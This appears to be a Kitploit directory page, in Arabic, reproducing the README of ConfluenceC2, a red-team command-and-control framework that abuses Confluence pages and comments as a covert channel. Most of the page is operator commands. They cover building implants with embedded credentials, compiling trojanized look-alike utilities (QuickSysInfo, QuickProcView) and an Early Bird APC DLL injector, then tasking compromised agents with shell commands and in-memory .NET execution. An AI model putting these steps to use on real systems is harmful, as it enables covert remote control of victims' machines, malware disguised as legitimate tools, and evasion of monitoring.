Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
ConfluenceC2 — هذا مشروع يهدف إلى تحويل كل منتج SaaS آخر إلى C2، وConfluence ليست سوى البداية. | Kitploit
أدوات/GitHubGitHub/dagowda/confluencec2
آليات الاستمراريةالحركة الجانبيةالبرمجة النصية والأتمتةشيل كودتسريب البياناتما بعد الاستغلالأمن الويباختبار الاختراقالقيادة والسيطرةالفريق الأحمرتطوير الحمولاتحصان طروادة للوصول عن بعد
13216منذ 2 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
GitHubdagowda/confluencec2

ConfluenceC2

هذا مشروع يهدف إلى تحويل كل منتج SaaS آخر إلى C2، وConfluence ليست سوى البداية.

عرض المستودع
مشاركة

Confluence C2

المؤلف: Dhanush Arvind

image_alt

المتطلبات الأساسية

Python 3.8+ مع requests:

pip install requests

حساب Confluence Cloud مع رمز API (يُنشأ على https://id.atlassian.com/manage-profile/security/api-tokens)، أو بيانات اعتماد Confluence Server

MinGW GCC إما:

  • WSL مع x86_64-w64-mingw32-gcc (sudo apt install gcc-mingw-w64-x86-64)، أو
  • MinGW-w64 الأصلي المثبّت على Windows والمضاف إلى PATH

الخطوة 1: إنشاء صفحة C2 أو إنشاؤها يدويًا باستخدام المتصفح

python c2_operator.py ^
    --url https://yourcompany.atlassian.net ^
    --email [email protected] ^
    --api-token YOUR_API_TOKEN ^
    setup --space-key MYSPACE

احفظ Page ID من المخرجات — ستحتاجه لكل ما يلي.

لاستخدام عنوان مخصص:

python c2_operator.py --url ... --email ... --api-token ... setup --space-key MYSPACE --title "Sprint Retro Notes"

الخطوة 2: تكوين المستدعي

شغّل configure.py لتضمين بيانات اعتماد Confluence ومعرّف الصفحة في مصدر المستدعي:

python configure.py ^
    --url https://yourcompany.atlassian.net ^
    --email [email protected] ^
    --api-token YOUR_API_TOKEN ^
    --page-id 12345678 ^
    --sleep 10000
المعاملمطلوبالوصف
--urlنعمعنوان URL الأساسي لـ Confluence
--emailنعمالبريد الإلكتروني لحساب Confluence
--api-tokenنعمرمز API الخاص بـ Confluence
--page-idنعممعرّف الصفحة من الخطوة 1
--sleepلافاصل Beacon بالمللي ثانية (الافتراضي: 10000)
--outputلادليل الإخراج (الافتراضي: build)
--no-wiki-prefixلاتخطي بادئة /wiki (لـ Confluence Server)
--compileلاترجمة تلقائية إذا كان gcc موجودًا في PATH

الخطوة 3: الترجمة باستخدام MinGW

الخيار أ: مترجم WSL MinGW المتقاطع (موصى به على Windows)

من PowerShell:

# Payload 1: Standalone caller
wsl x86_64-w64-mingw32-gcc -O2 -o /mnt/c/path/to/build/caller.exe /mnt/c/path/to/build/caller.c -lwinhttp -lws2_32

# Payload 2: Bundled QuickSysInfo
wsl x86_64-w64-mingw32-gcc -O2 -DBUNDLED_BUILD -o /mnt/c/path/to/build/QuickSysInfo.exe /mnt/c/path/to/build/caller_bundled.c -lwinhttp -lws2_32 -liphlpapi

# Payload 2 clean: QuickSysInfo without caller
wsl x86_64-w64-mingw32-gcc -O2 -o /mnt/c/path/to/build/QuickSysInfo_clean.exe /mnt/c/path/to/build/host_app.c -lws2_32 -liphlpapi

# Payload 3/4: Caller as DLL
wsl x86_64-w64-mingw32-gcc -shared -O2 -DBUNDLED_BUILD -o /mnt/c/path/to/build/caller_inject.dll /mnt/c/path/to/build/caller_dll.c -lwinhttp -lws2_32

# Payload 3: Early Bird APC injector
wsl x86_64-w64-mingw32-gcc -O2 -nostdlib -fno-stack-protector -fno-builtin -Wl,-e,_start -o /mnt/c/path/to/build/earlybird_inject.exe /mnt/c/path/to/build/earlybird_inject.c

# Payload 4: Bundled QuickProcView
wsl x86_64-w64-mingw32-gcc -O2 -DBUNDLED_BUILD -o /mnt/c/path/to/build/QuickProcView.exe /mnt/c/path/to/build/earlybird_bundled.c -lpsapi

# Payload 4 clean: QuickProcView without injection
wsl x86_64-w64-mingw32-gcc -O2 -o /mnt/c/path/to/build/QuickProcView_clean.exe /mnt/c/path/to/build/procview_app.c -lpsapi

استبدل /mnt/c/path/to/build بمسار WSL الفعلي إلى دليل build الخاص بمشروعك.

الخيار ب: MinGW الأصلي على Windows

gcc -O2 -o build\caller.exe build\caller.c -lwinhttp -lws2_32
gcc -O2 -DBUNDLED_BUILD -o build\QuickSysInfo.exe build\caller_bundled.c -lwinhttp -lws2_32 -liphlpapi
gcc -O2 -o build\QuickSysInfo_clean.exe build\host_app.c -lws2_32 -liphlpapi
gcc -shared -O2 -DBUNDLED_BUILD -o build\caller_inject.dll build\caller_dll.c -lwinhttp -lws2_32
gcc -O2 -nostdlib -fno-stack-protector -fno-builtin -Wl,-e,_start -o build\earlybird_inject.exe build\earlybird_inject.c
gcc -O2 -DBUNDLED_BUILD -o build\QuickProcView.exe build\earlybird_bundled.c -lpsapi
gcc -O2 -o build\QuickProcView_clean.exe build\procview_app.c -lpsapi

الخيار C: التجميع التلقائي عبر configure.py

python configure.py --url ... --email ... --api-token ... --page-id 12345678 --sleep 10000 --compile

بعد التجميع اليدوي، انسخ الملفات الثنائية إلى payloads/:

copy build\*.exe payloads\
copy build\*.dll payloads\

الخطوة 4: تنفيذ المستدعي

الحمولة 1: مستقلة

payloads\caller.exe

الحمولة 2: QuickSysInfo المُحصَّن

payloads\QuickSysInfo.exe

الحمولة 3: حقن DLL بنمط Early Bird

يجب أن يكون كلا الملفين في الدليل نفسه:

cd payloads
earlybird_inject.exe

الحمولة 4: QuickProcView المُحصَّن بحصان طروادة

يجب أن يكون كلا الملفين في الدليل نفسه:

cd payloads
QuickProcView.exe

الخطوة 5: التشغيل : واجهة سطر الأوامر أو واجهة الويب الرسومية

الخيار أ: مشغّل سطر الأوامر (c2_operator.py)

python c2_operator.py ^
    --url https://yourcompany.atlassian.net ^
    --email [email protected] ^
    --api-token YOUR_API_TOKEN ^
    --page-id 12345678 ^
    list

الخيار ب: واجهة ويب رسومية (c2_web.py)

python c2_web.py ^
    --url https://yourcompany.atlassian.net ^
    --email [email protected] ^
    --api-token YOUR_API_TOKEN ^
    --page-id 12345678 ^
    --port 8443

افتح http://127.0.0.1:8443 في متصفحك.

الخطوة 6: إرسال الأوامر

عبر CLI: نص الصفحة

python c2_operator.py --url ... --email ... --api-token ... --page-id 12345678 task 90bd7c8a "whoami"

عبر CLI: تعليق

# Broadcast to all agents
python c2_operator.py --url ... --email ... --api-token ... --page-id 12345678 ctask "whoami"

# Target specific agent
python c2_operator.py --url ... --email ... --api-token ... --page-id 12345678 ctask --agent 90bd7c8a "whoami"

عبر واجهة الويب

افتح علامة التبويب Console. اختر وضع Page Body أو Comment. اكتب الأمر، واختر الوكيل الهدف، ثم انقر على Send.

عبر المتصفح (دون الحاجة إلى أدوات)

انتقل إلى صفحة C2 وانشر تعليقًا:

[cmd] whoami

استهدف وكيلًا محددًا:

[cmd:90bd7c8a] whoami

صدفة تفاعلية (CLI فقط)

python c2_operator.py --url ... --email ... --api-token ... --page-id 12345678 interact 90bd7c8a

قراءة المخرجات

# All output
python c2_operator.py --url ... --email ... --api-token ... --page-id 12345678 read

# Filter by agent
python c2_operator.py --url ... --email ... --api-token ... --page-id 12345678 read 90bd7c8a

تنفيذ .NET Assembly في الذاكرة

python c2_operator.py --url ... --email ... --api-token ... --page-id 12345678 inlineexecute 90bd7c8a C:\path\to\Seatbelt.exe "-group=all"

الخطوة 7: إنهاء العملية المستدعية

# Via operator script
python c2_operator.py --url ... --email ... --api-token ... --page-id 12345678 task 90bd7c8a "exit"

# Via browser comment
[cmd] exit

# Target specific agent
[cmd:90bd7c8a] exit

الخطوة 8: التنظيف

python c2_operator.py ^
    --url https://yourcompany.atlassian.net ^
    --email [email protected] ^
    --api-token YOUR_API_TOKEN ^
    --page-id 12345678 ^
    cleanup

أو عبر واجهة الويب الرسومية: افتح علامة التبويب Cleanup وانقر على زر التنظيف.

أوامر Caller

تنزيل الأداة